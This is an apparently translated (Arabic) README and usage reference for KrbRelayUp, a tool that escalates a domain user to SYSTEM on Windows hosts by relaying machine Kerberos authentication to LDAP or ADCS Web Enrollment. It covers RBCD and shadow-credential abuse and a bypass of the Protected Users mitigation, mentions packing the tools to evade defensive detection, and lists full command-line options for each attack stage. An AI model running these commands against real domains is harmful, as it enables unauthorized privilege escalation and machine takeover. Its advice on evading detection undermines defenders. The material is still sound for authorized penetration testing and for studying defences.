
KrbRelayUp - تصعيد امتيازات محلي شامل بدون إصلاح في بيئات مجال ويندوز حيث لا يتم فرض توقيع LDAP (الإعدادات الافتراضية).
غلاف بسيط حول بعض ميزات Rubeus وKrbRelay (وبعض الإشارات المشرفة الأخرى في قسم الشكر والإقرارات) من أجل تبسيط استغلال البدائية الهجومية التالية:
هذا في الأساس تصعيد صلاحيات محلي شامل بدون إصلاح في بيئات ويندوز الخاصة بالمجالات حيث لا يتم فرض توقيع LDAP (الإعدادات الافتراضية).
تحديث: هنا شرح ممتاز بواسطة @an0n_r0 حول كيفية تنفيذ هذا الهجوم يدويًا (باستخدام الأدوات الأصلية لمسار الهجوم هذا: PowerMad/SharpMad، KrbRelay، Rubeus وSCMUACBypass)
أضفت بعض الميزات لدعم بدائية الهجوم هذه باستخدام shadow credentials. لاحظ أن هذا يلغي الحاجة إلى إضافة (أو امتلاك) حساب آلة آخر.
ملاحظة: تتجاوز طريقة الهجوم هذه تخفيف Protected Users (أو 'الحساب حساس ولا يمكن تفويضه') بسبب استغلال S4U2Self.
تحديث: هنا شرح ممتاز بواسطة @icyguider حول كيفية تنفيذ طريقة ShadowCred من هذا الهجوم يدويًا (باستخدام الأدوات الأصلية لمسار الهجوم هذا: KrbRelay، Rubeus وSCMUACBypass) بالإضافة إلى استخدام NimCrypt2 لتغليف الأدوات المختلفة وتجنب بعض اكتشافات آليات الدفاع.
أضفت دعمًا لتوجيه مصادقة KRB الخاصة بالآلة إلى ADCS Web Enrollment (بدلاً من LDAP). هذا يلغي شرط عدم فرض توقيع LDAP في المجال لأن هذا الهجوم لا يقوم بتوجيه إلى LDAP.
ملاحظة: تتجاوز طريقة الهجوم هذه تخفيف Protected Users (أو 'الحساب حساس ولا يمكن تفويضه') بسبب استغلال S4U2Self.
KrbRelayUp - Relaying you to SYSTEM
FULL: تنفيذ سلسلة الهجوم الكاملة. الخيارات مطابقة لـ RELAY. يجب أن تكون الأداة على القرص.
RELAY: المرحلة الأولى من الهجوم. ستجبر مصادقة Kerberos من حساب الآلة المحلية، وتوجهها إلى LDAP وتنشئ بدائية تحكم فوق الآلة المحلية باستخدام RBCD أو SHADOWCRED.
Usage: KrbRelayUp.exe relay -d FQDN -cn COMPUTERNAME [-c] [-cp PASSWORD | -ch NTHASH]
-m (--Method) طريقة الإساءة المستخدمة بعد نجاح التوجيه إلى LDAP <rbcd/shadowcred> (الافتراضي=rbcd)
-p (--Port) المنفذ الخاص بـ Com Server (الافتراضي=12345)
-cls (--Clsid) CLSID المستخدم لإجبار مصادقة Kerberos من حساب الآلة المحلية (الافتراضي=90f18417-f0f1-484e-9d3c-59dceee5dbd8)
# طريقة RBCD:
-c (--CreateNewComputerAccount) إنشاء حساب آلة جديد لـ RBCD. سيستخدم المستخدم المصادق عليه حاليًا.
-cn (--ComputerName) اسم حساب الآلة المملوك للمهاجم لـ RBCD. (الافتراضي=KRBRELAYUP$)
-cp (--ComputerPassword) كلمة مرور حساب الآلة لـ RBCD. (الافتراضي=RANDOM [إذا تم تفعيل -c])
# طريقة SHADOWCRED:
-f (--ForceShadowCred) مسح سمة msDS-KeyCredentialLink الخاصة بحساب الآلة المُهاجَم قبل إضافة shadow credentials الجديدة. (اختياري)
# طريقة ADCS:
-ca (--CAEndpoint) اسم FQDN لنقطة نهاية CA (الافتراضي = نفس الـ DC)
-https الاتصال بنقطة نهاية CA عبر HTTPS آمن بدلاً من HTTP)
-cet (--CertificateTemplate) قالب الشهادة المطلوب (الافتراضي=Machine)
SPAWN: المرحلة الثانية من الهجوم. ستستخدم بدائية التحكم المناسبة للحصول على Kerberos Service Ticket وستستخدمه لإنشاء خدمة جديدة تعمل بصلاحيات SYSTEM.
Usage: KrbRelayUp.exe spawn -d FQDN -cn COMPUTERNAME [-cp PASSWORD | -ch NTHASH] <-i USERTOIMPERSONATE>
-m (--Method) طريقة الإساءة المستخدمة في مرحلة RELAY <rbcd/shadowcred> (الافتراضي=rbcd)
-i (--Impersonate) المستخدم الذي سيتم انتحاله. يجب أن يكون مسؤولًا محليًا في الكمبيوتر الهدف. (الافتراضي=Administrator)
-s (--ServiceName) اسم الخدمة التي سيتم إنشاؤها. (الافتراضي=KrbSCM)
-sc (--ServiceCommand) أمر الخدمة [binPath]. (الافتراضي = تشغيل cmd.exe بصلاحيات SYSTEM)
# طريقة RBCD:
-cn (--ComputerName) اسم حساب الآلة المملوك للمهاجم لـ RBCD. (الافتراضي=KRBRELAYUP$)
-cp (--ComputerPassword) كلمة مرور حساب الآلة لـ RBCD. (يجب تحديد إما -cp أو -ch)
-ch (--ComputerPasswordHash) تجزئة NT لكلمة مرور حساب الآلة لـ RBCD. (يجب تحديد إما -cp أو -ch)
# طريقة SHADOWCRED | ADCS:
-ce (--Certificate) شهادة مرمزة بـ Base64 أو مسار إلى ملف الشهادة
-cep (--CertificatePassword) كلمة مرور الشهادة (إن وجدت)
KRBSCM: سيستخدم Kerberos Service Ticket المحمّل حاليًا لإنشاء خدمة جديدة تعمل بصلاحيات SYSTEM.
Usage: KrbRelayUp.exe krbscm <-s SERVICENAME> <-sc SERVICECOMMANDLINE>
-s (--ServiceName) اسم الخدمة التي سيتم إنشاؤها. (الافتراضي=KrbSCM)
-sc (--ServiceCommand) أمر الخدمة [binPath]. (الافتراضي = تشغيل cmd.exe بصلاحيات SYSTEM)
خيارات عامة:
-d (--Domain) FQDN للمجال. (اختياري)
-dc (--DomainController) FQDN لوحدة التحكم بالمجال. (اختياري)
-ssl استخدام LDAP عبر SSL. (اختياري)
-n استخدام CreateNetOnly (يجب أن يكون على القرص) بدلاً من PTT عند استيراد ST (مفعّل إذا تم استخدام وضع FULL)
-v (--Verbose) إظهار مخرجات مفصلة. (اختياري)
